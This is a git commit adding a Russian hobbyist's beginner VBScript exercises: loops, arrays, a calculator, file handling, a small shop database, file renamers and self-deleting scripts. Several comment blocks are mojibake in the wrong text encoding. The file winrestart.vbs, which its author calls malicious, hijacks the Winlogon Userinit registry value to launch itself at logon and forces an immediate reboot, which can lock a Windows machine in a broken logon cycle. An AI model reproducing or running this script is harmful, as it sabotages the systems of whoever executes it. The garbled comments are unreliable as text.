Add files via upload
This commit is contained in:
parent
ca487c4ffb
commit
0bf2e1534a
18 changed files with 604 additions and 0 deletions
1
ReadMe_selfdelete.txt
Normal file
1
ReadMe_selfdelete.txt
Normal file
|
@ -0,0 +1 @@
|
|||
Несколько раз запуская самоуничтожаемый скрипт с backuping=True можно быстро создать кучу вложенных каталогов "backup".
|
21
add_to_startup.vbs
Normal file
21
add_to_startup.vbs
Normal file
|
@ -0,0 +1,21 @@
|
|||
'Script for adding programs to startup using registry
|
||||
'Author: Chechkenev Andrew (DarkCat09/CodePicker13)
|
||||
|
||||
Option Explicit
|
||||
|
||||
Dim Wsh, pathToProgram, isForAllUsers, root, pathToProgramArr
|
||||
|
||||
Set Wsh = CreateObject("WScript.Shell")
|
||||
pathToProgram = InputBox("Enter full path to program", "AddToStartup")
|
||||
isForAllUsers = MsgBox("Add this program to startup for all users?", vbYesNo, "AddToStartup")
|
||||
'MsgBox pathToProgram & " " & isForAllUsers
|
||||
|
||||
If isForAllUsers = vbYes then
|
||||
root = "HKEY_LOCAL_MACHINE"
|
||||
Else
|
||||
root = "HKEY_CURRENT_USER"
|
||||
End If
|
||||
|
||||
pathToProgramArr = Split(pathToProgram, "\")
|
||||
'MsgBox root & "\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & Split(pathToProgramArr(UBound(pathToProgramArr)), ".")(0)
|
||||
Wsh.RegWrite root & "\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & Split(pathToProgramArr(UBound(pathToProgramArr)), ".")(0), pathToProgram, "REG_SZ"
|
87
arrays_and_strings.vbs
Normal file
87
arrays_and_strings.vbs
Normal file
|
@ -0,0 +1,87 @@
|
|||
Rem Работа с массивами и строками
|
||||
|
||||
Rem Option Explicit
|
||||
|
||||
Dim res1 'ненужная переменная для MsgBox
|
||||
Dim values, strChar
|
||||
Dim oldStrChar
|
||||
|
||||
Dim dyn_arr() 'динамический массив
|
||||
Dim fix_arr(10) 'массив фиксированного размера - 11
|
||||
Dim matrix_arr(3,2) 'двумерный массив или матрица 4x3
|
||||
|
||||
Rem Отсчёт индекса начинается с нуля, как во всех ЯП!
|
||||
Rem Т.е. 2=0,1,2=(по-человечески)3.
|
||||
|
||||
Rem Заполнение массива вручную
|
||||
fix_arr(0) = "Привет, "
|
||||
fix_arr(1) = "Мир! "
|
||||
fix_arr(2) = "Как дела? "
|
||||
fix_arr(3) = 5 'это означает отлично
|
||||
fix_arr(4) = ". Кошка " 'а это мой стих
|
||||
fix_arr(5) = "села на "
|
||||
fix_arr(6) = "порог, "
|
||||
fix_arr(7) = "вот и "
|
||||
fix_arr(8) = "съела весь "
|
||||
fix_arr(9) = "мой пирог. "
|
||||
fix_arr(10) = "Пока!"
|
||||
Rem В массиве VBS можно хранить всё что угодно!
|
||||
Rem И неважно, что там было первое - строка или число.
|
||||
|
||||
Rem Заполнение массива через цикл
|
||||
Rem Например, мы работаем со светодиодной матрицей.
|
||||
Rem Нужно всю её залить белым цветом - вкл. все светодиоды.
|
||||
Rem Вручную это прописывать слишком долго.
|
||||
For i=0 To 3
|
||||
For j=0 To 2
|
||||
matrix_arr(i,j) = True 'вкл.
|
||||
next
|
||||
next
|
||||
Rem А применение матрице рассмотрим в работе с файлами.
|
||||
|
||||
|
||||
Rem Получение массива из строки, парсинг.
|
||||
Rem Запрашиваем значения у пользователя.
|
||||
values = InputBox("Введите значения массива через запятую", "Динамический массив")
|
||||
|
||||
Rem Сложный, но железобетонный и гибкий вариант парсинга из строк.
|
||||
Rem Я всё закомментировал, так как данный код не работает!
|
||||
Rem strChar = InStr(values, ",") 'находим в строке разделитель
|
||||
Rem MsgBox strChar & " " & Len(values)
|
||||
Rem dyn_arr(0) = Mid(values, 1, strChar) 'вырезаем нужную часть строки
|
||||
|
||||
Rem k = 1
|
||||
Rem Do Until (strChar = 0)
|
||||
Rem oldStrChar = strChar
|
||||
Rem strChar = InStr(oldStrChar, values, ",") 'находим разделитель начиная с предыдущего
|
||||
Rem dyn_arr(k) = Mid(values, oldStrChar, strChar) 'вырезаем нужную часть строки
|
||||
Rem loop
|
||||
|
||||
Rem Выводим пользователю полученный массив,
|
||||
Rem соеденяя его в строку с помощью Join.
|
||||
Rem Разделитель по умолчанию - пробел.
|
||||
Rem res1 = MsgBox(dyn_arr.Join, vbOK, "Сложный парсинг с помощью InStr")
|
||||
|
||||
|
||||
Rem Очень лёгкий способ.
|
||||
Rem Эта функция существует в .NET (в т.ч. VB) и Java.
|
||||
Rem И называется...
|
||||
Rem Split
|
||||
|
||||
Rem Однако, из-за странностей Visual Basic
|
||||
Rem придётся делать вот так:
|
||||
temp_arr = Split(values, ",")
|
||||
For l=0 To UBound(temp_arr)
|
||||
Redim Preserve dyn_arr(l) 'перезаписываем размер массива с сохранением данных - ReDim Preserve
|
||||
dyn_arr(l) = temp_arr(l)
|
||||
next
|
||||
|
||||
res1 = MsgBox(Join(dyn_arr), vbOK, "Простой парсинг с помощью Split")
|
||||
|
||||
Rem Да, всё настолько просто. И это работает!
|
||||
Rem Хотя повозиться пришлось.
|
||||
Rem Но String.Split есть не во всех ЯП и оно слишком автоматическое.
|
||||
|
||||
|
||||
Rem Выводим массив фиксированного размера всё тем же Join.
|
||||
MsgBox Join(fix_arr, "") 'с пустым разделителем
|
49
functions_and_subs.vbs
Normal file
49
functions_and_subs.vbs
Normal file
|
@ -0,0 +1,49 @@
|
|||
Rem Ôóíêöèè è Ïðîöåäóðû
|
||||
Rem Êàëüêóëÿòîð
|
||||
|
||||
Rem Option Explicit
|
||||
|
||||
Dim numA, numB, strS
|
||||
|
||||
Rem Ôóíêöèÿ ïðèáàâèòü - add
|
||||
Function mathAdd(a, b)
|
||||
c = a+b
|
||||
mathAdd = c
|
||||
End Function
|
||||
|
||||
Rem Ôóíêöèÿ îòíÿòü - subtract
|
||||
Function mathSbt(a, b)
|
||||
c = a-b
|
||||
mathSbt = c
|
||||
End Function
|
||||
|
||||
Rem Ôóíêöèÿ óìíîæèòü - multiple
|
||||
Function mathMlt(a, b)
|
||||
c = a*b
|
||||
mathMlt = c
|
||||
End Function
|
||||
|
||||
Rem Ôóíêöèÿ ðàçäåëèòü - divide
|
||||
Function mathDvd(a, b)
|
||||
c = a/b
|
||||
mathDvd = c
|
||||
End Function
|
||||
|
||||
Sub calc(a, b, sign)
|
||||
If sign = "+" then
|
||||
MsgBox a & "+" & b & "=" & mathAdd(a, b)
|
||||
elseif sign = "-" then
|
||||
MsgBox a & "-" & b & "=" & mathSbt(a, b)
|
||||
elseif sign = "*" then
|
||||
MsgBox a & "*" & b & "=" & mathMlt(a, b)
|
||||
elseif sign = "/" then
|
||||
MsgBox a & "/" & b & "=" & mathDvd(a, b)
|
||||
else
|
||||
MsgBox "Îøèáêà!"
|
||||
End if
|
||||
End Sub
|
||||
|
||||
numA = CInt(InputBox("Ââåäèòå ïåðâîå ÷èñëî", "Êàëüêóëÿòîð"))
|
||||
numB = CInt(InputBox("Ââåäèòå âòîðîå ÷èñëî","Êàëüêóëÿòîð"))
|
||||
strS = InputBox("Ââåäèòå çíàê àðèôìåòè÷åñêîãî äåéñòâèÿ","Êàëüêóëÿòîð")
|
||||
Call calc(numA,numB,strS)
|
17
inputbox_testing.vbs
Normal file
17
inputbox_testing.vbs
Normal file
|
@ -0,0 +1,17 @@
|
|||
Rem Тестовый скрипт для проверки возвращаемых значений InputBox
|
||||
|
||||
Option Explicit
|
||||
|
||||
Dim result
|
||||
|
||||
result = InputBox("Введи что-нибудь и/или нажми какую-нибудь кнопочку", "InputTest()")
|
||||
MsgBox result
|
||||
|
||||
'Результат:
|
||||
'и Отмена, и пустая строка - обрабатываются одинаково.
|
||||
'в result, в любом из этих случаев, сохраняется пустота.
|
||||
'VBS, наверное, не имеет понятия NULLable.
|
||||
'Поэтому данное значение нужно расценивать как пустую строку.
|
||||
|
||||
'А в нормальных случаях (введён текст и нажата OK)
|
||||
'в result сохраняется текст.
|
45
loops.vbs
Normal file
45
loops.vbs
Normal file
|
@ -0,0 +1,45 @@
|
|||
Rem Öèêëû
|
||||
Rem Ïðîñòîé áðóòôîðñ
|
||||
|
||||
Option Explicit
|
||||
|
||||
Dim num, i
|
||||
Dim res1, res2, res3, res4 'Íåíóæíûå ïåðåìåííûå äëÿ msgbox
|
||||
|
||||
num = CInt(InputBox("Ââåäè öåëîå ÷èñëî", "Áðóòôîðñ"))
|
||||
|
||||
Rem Do-While-Loop
|
||||
i = 0
|
||||
Do While (i < num)
|
||||
i = i + 1
|
||||
loop
|
||||
|
||||
res1 = MsgBox("Âàøå ÷èñëî: " & i & ".", vbOK, "Do-While-Loop")
|
||||
|
||||
Rem Do-Until-Loop
|
||||
i = 0
|
||||
Do Until (i = num)
|
||||
i = i + 1
|
||||
loop
|
||||
|
||||
res2 = MsgBox("Âàøå ÷èñëî: " & i & ".", vbOK, "Do-Until-Loop")
|
||||
|
||||
Rem While-Wend
|
||||
i = 0
|
||||
While i < num
|
||||
i = i + 1
|
||||
Wend
|
||||
|
||||
res3 = MsgBox("Âàøå ÷èñëî: " & i & ".", vbOK, "While-Wend")
|
||||
|
||||
Rem For, ñ çàùèòîé îò ïåðåãðóçêè
|
||||
i = 0
|
||||
For i=0 To 3000
|
||||
If i = num then Exit For End if
|
||||
next
|
||||
|
||||
If Not i = num then
|
||||
MsgBox "Ïåðåãðóçêà! (Èòåðàöèé áîëåå 3000)."
|
||||
else
|
||||
res4 = MsgBox("Âàøå ÷èñëî: " & i & ".", vbOK, "For ñ çàùèòîé")
|
||||
End if
|
46
math_functions.vbs
Normal file
46
math_functions.vbs
Normal file
|
@ -0,0 +1,46 @@
|
|||
Rem Математические функции
|
||||
Rem Эта программа бесполезная,
|
||||
Rem разве что только для изучения VBS.
|
||||
Rem (что я и делаю - изучаю скриптинг).
|
||||
|
||||
'Весь код был взят из примера с сайта
|
||||
'http://vbhack.ru/uroki-vbscript/urok-vbscript-n8-matematicheskie-funkcii-funk.html
|
||||
'И немножко изменён мною.
|
||||
|
||||
Dim a, b, c, d, e, f, g, h, i, j, k, l, m, n, o
|
||||
|
||||
a = "Модуль числа 10: " & Abs(10)
|
||||
b = "Модуль числа -10: " & Abs(-10)
|
||||
c = "Арктангенс числа 10: " & Atn(10)
|
||||
d = "Косинус угла 10 радиан: " & Cos(10)
|
||||
e = "Синус угла 10 радиан: " & Sin(10)
|
||||
f = "Тангенс угла 10 радиан: " & Tan(10)
|
||||
g = "Экспонента возведённая в 2: " & exp(2)
|
||||
h = "Логарифм из 15: " & log(15)
|
||||
i = "Десятичный логарифм из 15: " & log(15)/log(10)
|
||||
j = "Квадратный корень 15: " & Sqr(15)
|
||||
k = "Квадратный корень 0: " & Sqr(0)
|
||||
|
||||
min = 3
|
||||
max = 18
|
||||
|
||||
Randomize
|
||||
l = "Рандомизация 1: " & (Int(1 + (Rnd(3) * 10))) '(Int(min + (Rnd() * max)))
|
||||
m = "Рандомизация 2: " & Int((10 - 1 + 1) * Rnd + 1) ' Int((max - min + 1) * Rnd + min)
|
||||
n = "Рандомизация 3: " & Int((10 * Rnd) + 1) ' Int((max * Rnd) + min)
|
||||
o = "Простая рандомизация: " & Rnd(10)
|
||||
|
||||
p = "Целое число (Int) из 10.3: " & Int(10.3)
|
||||
q = "Целое число (Fix) из 10.3: " & Fix(10.3)
|
||||
r = "Целое число (Int) из -10.3: " & Int(-10.3)
|
||||
s = "Целое число (Fix) из -10.3: " & Fix(-10.3)
|
||||
|
||||
Rem Разница между Int и Fix проявляется только при отрицательных значениях.
|
||||
Rem Fix возвращает ближайшее меньшее по модулю число,
|
||||
Rem а Int ближайшее большее по модулю число.
|
||||
Rem Источник тот же:
|
||||
Rem http://vbhack.ru/uroki-vbscript/urok-vbscript-n8-matematicheskie-funkcii-funk.html
|
||||
|
||||
MsgBox a & vbCrLf & b & vbCrLf & c & vbCrLf & d & vbCrLf & e & vbCrLf & f & vbCrLf &_
|
||||
g & vbCrLf & h & vbCrLf & i & vbCrLf & j & vbCrLf & k & vbCrLf & l & vbCrLf & m &_
|
||||
vbCrLf & n & vbCrLf & o & vbCrLf & p & vbCrLf & q & vbCrLf & r & vbCrLf & s
|
24
prefix_renamer.vbs
Normal file
24
prefix_renamer.vbs
Normal file
|
@ -0,0 +1,24 @@
|
|||
'Automatically rename files, adding entered prefix
|
||||
'by DarkCat09
|
||||
|
||||
Option Explicit
|
||||
|
||||
Dim prefix, directory
|
||||
Dim Fso, Dir, File
|
||||
Set Fso = CreateObject("Scripting.FileSystemObject")
|
||||
|
||||
prefix = InputBox("Enter file prefix:", "Autorename")
|
||||
|
||||
If Wsh.Arguments.Count > 0 Then
|
||||
directory = Wsh.Arguments(0)
|
||||
Else
|
||||
directory = Fso.GetParentFolderName(WScript.ScriptFullName)
|
||||
End If
|
||||
|
||||
Set Dir = Fso.GetFolder(directory)
|
||||
|
||||
For Each File in Dir.Files
|
||||
Fso.MoveFile directory & "\" & File.Name, directory & "\" & prefix & File.Name
|
||||
Next
|
||||
|
||||
MsgBox "OK!"
|
24
prefix_unrenamer.vbs
Normal file
24
prefix_unrenamer.vbs
Normal file
|
@ -0,0 +1,24 @@
|
|||
'Automatically rename files, removing entered prefix
|
||||
'by DarkCat09
|
||||
|
||||
Option Explicit
|
||||
|
||||
Dim prefix, directory, result
|
||||
Dim Fso, Dir, File
|
||||
Set Fso = CreateObject("Scripting.FileSystemObject")
|
||||
|
||||
prefix = InputBox("Enter file prefix:", "Autorename")
|
||||
|
||||
If Wsh.Arguments.Count > 0 Then
|
||||
directory = Wsh.Arguments(0)
|
||||
Else
|
||||
directory = Fso.GetParentFolderName(WScript.ScriptFullName)
|
||||
End If
|
||||
|
||||
Set Dir = Fso.GetFolder(directory)
|
||||
|
||||
For Each File in Dir.Files
|
||||
result = File.Path
|
||||
Fso.MoveFile File.Path, Replace(result, prefix, "", 1, 1, 1)
|
||||
Next
|
||||
MsgBox "OK!"
|
20
selfdelete.vbs
Normal file
20
selfdelete.vbs
Normal file
|
@ -0,0 +1,20 @@
|
|||
Rem Немножко хулиганим с FSO
|
||||
Rem Самоудаляемый скрипт
|
||||
|
||||
Rem Запустите этот скрипт и он удалится!
|
||||
|
||||
Option Explicit
|
||||
|
||||
Dim FSO, backuping, scriptName
|
||||
Set FSO = CreateObject("Scripting.FileSystemObject")
|
||||
backuping = True 'если хотите, чтобы скрипт сам себя забэкапил, установите
|
||||
'backuping = True
|
||||
scriptName = WScript.ScriptName
|
||||
|
||||
Sub BackupScript()
|
||||
FSO.CreateFolder "backup"
|
||||
FSO.CopyFile scriptName, "backup\" & scriptName
|
||||
End Sub
|
||||
|
||||
If backuping = True then Call BackupScript() End if
|
||||
FSO.DeleteFile scriptName
|
1
selfdelete_one-line.vbs
Normal file
1
selfdelete_one-line.vbs
Normal file
|
@ -0,0 +1 @@
|
|||
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)
|
92
shop_db.vbs
Normal file
92
shop_db.vbs
Normal file
|
@ -0,0 +1,92 @@
|
|||
Rem Большой проект
|
||||
Rem +словари, Select ... case и Err
|
||||
Rem Локальная БД Магазина
|
||||
|
||||
On Error Resume Next 'Обрабатываем все ошибки - теперь они нас не побеспокоят
|
||||
Rem Option Explicit
|
||||
|
||||
Dim res1 'Ненужная переменная для MsgBox
|
||||
Dim exitFromMenu
|
||||
|
||||
Dim prodFileName, optionsDelim
|
||||
prodFileName = "products.csv" 'Имя файла с продуктами
|
||||
optionsDelim = "," 'Разделитель опций (продукт,цена)
|
||||
'Если в названии товара может присутсвовать запятая,
|
||||
'Лучше ставить optionsDelim = ";"
|
||||
exitFromMenu = False
|
||||
|
||||
Rem Словарь, как в Java и .NET:
|
||||
Set Products = CreateObject("Scripting.Dictionary")
|
||||
|
||||
Dim FSO, ProdFile
|
||||
Set FSO = CreateObject("Scripting.FileSystemObject")
|
||||
|
||||
Sub addProducts()
|
||||
Set ProdFile = FSO.OpenTextFile(prodFileName, 8, True, -1)
|
||||
prodOptions = "наименование; цена"
|
||||
|
||||
Do Until (prodOptions = "")
|
||||
|
||||
prodOptions = InputBox("Введите опции товара (наименование и цена), разделяя точкой с запятой." &_
|
||||
vbCrLf & "Пример: Вода Волжанка 0.5 л; 25", "Локальная База Данных Магазина")
|
||||
|
||||
splitedOpts = Split(prodOptions, "; ")
|
||||
If UBound(splitedOpts) > 0 then Products.Add splitedOpts(0), splitedOpts(1) End if 'проверка - опций не 0? и запись в словарь
|
||||
loop
|
||||
|
||||
For Each prodkey In Products.keys 'для каждого ключа в словаре...
|
||||
ProdFile.Write(prodkey & optionsDelim &_
|
||||
Products(prodkey) & vbCrLf) 'записываем в файл (ключ - наим.товара + разделитель + значение(ключа) - цену).
|
||||
next
|
||||
|
||||
ProdFile.Close
|
||||
End Sub
|
||||
|
||||
Sub readProducts()
|
||||
Set ProdFile = FSO.OpenTextFile(prodFileName, 1, False, -1)
|
||||
MsgBox Err.Number
|
||||
MsgBox ProdFile.ReadAll()
|
||||
ProdFile.Close
|
||||
End Sub
|
||||
|
||||
Sub removeAllProducts()
|
||||
FSO.DeleteFile prodFileName, True
|
||||
End Sub
|
||||
|
||||
Function computeDiscount(cost, pct)
|
||||
Rem cost - обычная стоимость.
|
||||
Rem pct - скидка, в процентах.
|
||||
itog = cost - (cost/100*pct)
|
||||
computeDiscount = itog
|
||||
End Function
|
||||
|
||||
Rem Делаем своеобразное меню на Инпутах
|
||||
|
||||
Do While (exitFromMenu = False) 'пока пользователь не вышел из меню, показываем его
|
||||
|
||||
selected_function = InputBox("Выберите функцию:" & vbCrLf & "1 - добавить продукты в файл" & vbCrLf &_
|
||||
"2 - просмотреть список продуктов" & vbCrLf & "3 - очистить список продуктов" & vbCrLf &_
|
||||
"4 - рассчитать цену товара со скидкой" & vbCrLf & "5 - выйти", "Локальная База Данных Магазина")
|
||||
|
||||
Rem select...case - то же самое,
|
||||
Rem что и знакомый всем C-программистам switch...case.
|
||||
Rem Только синтаксис немножко отличается.
|
||||
Select case selected_function
|
||||
case "1"
|
||||
Call addProducts()
|
||||
case "2"
|
||||
Call readProducts()
|
||||
Rem If Err.Number = 53 then MsgBox "Нету файлика с продуктами!" End if
|
||||
case "3"
|
||||
Call removeAllProducts()
|
||||
case "4"
|
||||
header = "Рассчитать цену со скидкой"
|
||||
cost = CInt(InputBox("Обычная стоимость:", header))
|
||||
prct = CInt(InputBox("Скидка, в %:", header))
|
||||
res1 = MsgBox(computeDiscount(cost, prct), vbOK, header)
|
||||
case "5"
|
||||
exitFromMenu = True
|
||||
case else
|
||||
MsgBox "Ошибка!" & vbCrLf & "Укажите правильное значение." & vbCrLf & "Чтобы выйти, выберите 5."
|
||||
End Select
|
||||
loop
|
4
special_folders.vbs
Normal file
4
special_folders.vbs
Normal file
|
@ -0,0 +1,4 @@
|
|||
Dim Fso
|
||||
Set Fso = CreateObject("Scripting.FileSystemObject")
|
||||
MsgBox "0 = " & Fso.GetSpecialFolder(0) & vbCrLf & "1 = " & Fso.GetSpecialFolder(1) & vbCrLf & "2 = " & Fso.GetSpecialFolder(2)
|
||||
MsgBox "System drive = " & Fso.GetSpecialFolder(0).Drive
|
54
text_files_and_matrix.vbs
Normal file
54
text_files_and_matrix.vbs
Normal file
|
@ -0,0 +1,54 @@
|
|||
Rem Текстовые файлы и Матрицы
|
||||
Rem Имитация Светодиодной Матрицы в Блокноте.
|
||||
|
||||
Rem НЕ работает!
|
||||
|
||||
Option Explicit
|
||||
|
||||
Dim i, j
|
||||
Dim FSO, myFile
|
||||
Dim matrix(7,3) 'инициализируем двумерный массив или матрицу 8x4
|
||||
|
||||
Set FSO = CreateObject("Scripting.FileSystemObject")
|
||||
Set myFile = FSO.CreateTextFile("matrix.txt",True,True)
|
||||
myFile.Close
|
||||
|
||||
Sub writeMatrix()
|
||||
Set myFile = FSO.OpenTextFile("matrix.txt",2,True,0) 'открываем matrix.txt в режиме записи (2) с кодировкой ASCII (0)
|
||||
|
||||
For j=0 To 3
|
||||
For i=0 To 7
|
||||
If matrix(i,j)=True then myFile.Write(".") else myFile.Write(" ") End if
|
||||
next
|
||||
myFile.Write(vbCrLf)
|
||||
next
|
||||
|
||||
myFile.Close 'закрываем поток
|
||||
End Sub
|
||||
|
||||
Rem Заполнение
|
||||
For i=0 To 7
|
||||
For j=0 To 3
|
||||
matrix(i, j)=True 'включено
|
||||
next
|
||||
next
|
||||
|
||||
writeMatrix()
|
||||
|
||||
Rem Каёмочка
|
||||
For i=0 To 7
|
||||
matrix(i, 0)=True
|
||||
next
|
||||
For j=0 To 3
|
||||
matrix(0, j)=True
|
||||
next
|
||||
For i=0 To 7
|
||||
matrix(i, 7)=True
|
||||
next
|
||||
For j=0 To 3
|
||||
matrix(7, j)=True
|
||||
next
|
||||
|
||||
writeMatrix()
|
||||
|
||||
Rem ...
|
50
types_and_ifs.vbs
Normal file
50
types_and_ifs.vbs
Normal file
|
@ -0,0 +1,50 @@
|
|||
Rem Òèïû äàííûõ è Öèêëû
|
||||
Rem +íåìíîãî î ðàáîòå ñ äàòîé
|
||||
|
||||
Option Explicit
|
||||
|
||||
Dim a, b
|
||||
Dim num
|
||||
Dim name, result
|
||||
Dim brthdate
|
||||
Dim instrChar
|
||||
|
||||
a = 10
|
||||
b = 20
|
||||
|
||||
MsgBox "Ïðèâåò!"
|
||||
|
||||
Rem Áåññìûñëåííàÿ ïðîâåðêà ïåðåìåííûõ
|
||||
if a = 10 then MsgBox "a = 10!" End if
|
||||
if b = 20 then MsgBox "b = 20!" else MsgBox "b íå= 20!" End if
|
||||
|
||||
Rem Ïðîâåðêà ââåä¸ííîãî ÷èñëà
|
||||
Rem CInt - Convert to Integer
|
||||
num = CInt(InputBox("Ââåäè ëþáîå ÷èñëî", "Èíïóò"))
|
||||
|
||||
Rem if, elseif, else, End if - ïî÷òè êàê â Bash èëè Python
|
||||
If num < a then
|
||||
MsgBox "Òâî¸ ÷èñëî ìåíüøå " & a & "."
|
||||
elseif num > b then
|
||||
MsgBox "Òâî¸ ÷èñëî áîëüøå " & b & "."
|
||||
else
|
||||
Rem vbCrLf - ýòî ñèìâîë íîâîé ñòðîêè
|
||||
MsgBox "Òâî¸ ÷èñëî â ïðåäåëàõ " & a & " è " & b & "," & vbCrLf & "ò.å. áîëüøå, ÷åì " & a & ", íî ìåíüøå, ÷åì " & b & "."
|
||||
End if
|
||||
|
||||
Rem Ïðîâåðêà êíîïêè
|
||||
name = InputBox("Ââåäè èìÿ", "Èíïóò")
|
||||
result = MsgBox("Ïðèâåò, " & name & "!", vbOKCancel, "Ñîîáùåíèå")
|
||||
If result = vbOK then MsgBox "Ïîêà!" End if
|
||||
|
||||
Rem Ïðîâåðêà èìåíè è äàòû ðîæäåíèÿ
|
||||
Rem CDate - Convert to Date
|
||||
brthdate = CDate(InputBox("Ââåäè äàòó ðîæäåíèÿ â ôîðìàòå ÄÄ.ÌÌ.ÃÃÃÃ èëè ÄÄ/ÌÌ/ÃÃÃÃ", "Èíïóò"))
|
||||
|
||||
instrChar = InStr(name, "Àíäðåé") 'èùåì ìî¸ èìÿ - Àíäðåé - â óêàçàííîì èìåíè
|
||||
|
||||
If (Not instrChar = 0) And Day(brthdate) = 13 And Month(brthdate) = 7 And Year(brthdate) = 2009 then
|
||||
MsgBox "Âîçìîæíî, òû ðàçðàáîò÷èê ýòîãî ñêðèïòà!"
|
||||
else
|
||||
MsgBox "OK"
|
||||
End if
|
25
vars_and_msgs.vbs
Normal file
25
vars_and_msgs.vbs
Normal file
|
@ -0,0 +1,25 @@
|
|||
Rem Переменные, Сообщения и др.
|
||||
|
||||
'Это комментарий.
|
||||
Rem И это комментарий.
|
||||
Rem А с помощью строчки
|
||||
Rem Option Explicit
|
||||
Rem можно сделать, чтобы вызывалась ошибка
|
||||
Rem при обнаружении не объявленных переменнных.
|
||||
Rem Сейчас ошибки не будет, т.к. строка закомментирована.
|
||||
Rem Но у нас есть неявно объявленная переменная name.
|
||||
Rem Была бы ошибка!
|
||||
|
||||
Dim a, b
|
||||
|
||||
a = "Привет!"
|
||||
b = 10
|
||||
|
||||
MsgBox a
|
||||
MsgBox b
|
||||
MsgBox a & " " & b
|
||||
|
||||
name = InputBox("Как тебя зовут?", "Вопросик")
|
||||
result = MsgBox("Привет, " & name & "!", vbOKCancel, "Полезная информация")
|
||||
Rem MsgBox "Пока!", vbOK, "Полезная информация"
|
||||
MsgBox "Пока!"
|
19
winrestart.vbs
Normal file
19
winrestart.vbs
Normal file
|
@ -0,0 +1,19 @@
|
|||
' Просто вредоносный скрипт
|
||||
' by DarkCat09
|
||||
|
||||
Dim Wsh, Fso
|
||||
Set Wsh = CreateObject("WScript.Shell")
|
||||
Set Fso = CreateObject("Scripting.FileSystemObject")
|
||||
|
||||
Dim sysdrive, sysdir
|
||||
sysdrive = Fso.GetSpecialFolder(0).Drive
|
||||
sysdir = Fso.GetSpecialFolder(1)
|
||||
|
||||
If Not Fso.FileExists(sysdrive & "\Users\Public\Desktop\winrestart.vbs") Then
|
||||
Fso.CopyFile WScript.ScriptFullName, sysdrive & "\Users\Public\Desktop\winrestart.vbs"
|
||||
End If
|
||||
|
||||
Wsh.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit", _
|
||||
sysdir & "\wscript.exe " & sysdrive & "\Users\Public\Desktop\winrestart.vbs,", "REG_SZ"
|
||||
|
||||
Wsh.Run "shutdown /r /t 0", 1, False
|
25
working_with_files.vbs
Normal file
25
working_with_files.vbs
Normal file
|
@ -0,0 +1,25 @@
|
|||
Rem Работа с файлами и папками
|
||||
Rem Секретные заметки
|
||||
|
||||
Option Explicit
|
||||
|
||||
Dim FSO, myText
|
||||
Set FSO = CreateObject("Scripting.FileSystemObject") 'для работы с файлами нужен объект ФС
|
||||
|
||||
Rem Создание каталога
|
||||
If Not FSO.FolderExists("Notes") Then FSO.CreateFolder "Notes" End if
|
||||
|
||||
Rem Создание файла и запись данных
|
||||
Set myText = FSO.CreateTextFile("Notes\1.txt",True,True) 'Создаём текстовый файл 1.txt, если есть - перезаписываем (True), с кодировкой Unicode (True).
|
||||
myText.Close 'Закрываем TextStream, нам он больше не нужен.
|
||||
|
||||
Set myText = FSO.OpenTextFile("Notes\1.txt",2,False,-1) 'Открываем текстовый файл 1.txt в режиме запись (2), с кодировкой Unicode (-1)
|
||||
myText.WriteLine(InputBox("Введите текст новой секретной заметки", "Заметки")) 'записываем текст
|
||||
MsgBox "Записано! Читай!" 'оповещаем об этом пользователя
|
||||
Rem MsgBox myText.ReadAll() 'чтение не работает, т.к. мы открыли в режиме (2).
|
||||
myText.Close 'закрываем поток
|
||||
|
||||
FSO.MoveFile "Notes\1.txt", "2.txt" 'перемещаем файл
|
||||
WScript.Sleep 5000 'ждём 5000мс=5сек
|
||||
FSO.DeleteFile "2.txt" 'удаляем эту конфиденциальную заметку
|
||||
FSO.DeleteFolder "Notes", True 'удаляем всю папку, даже если там файлы с read-only
|
Loading…
Add table
Reference in a new issue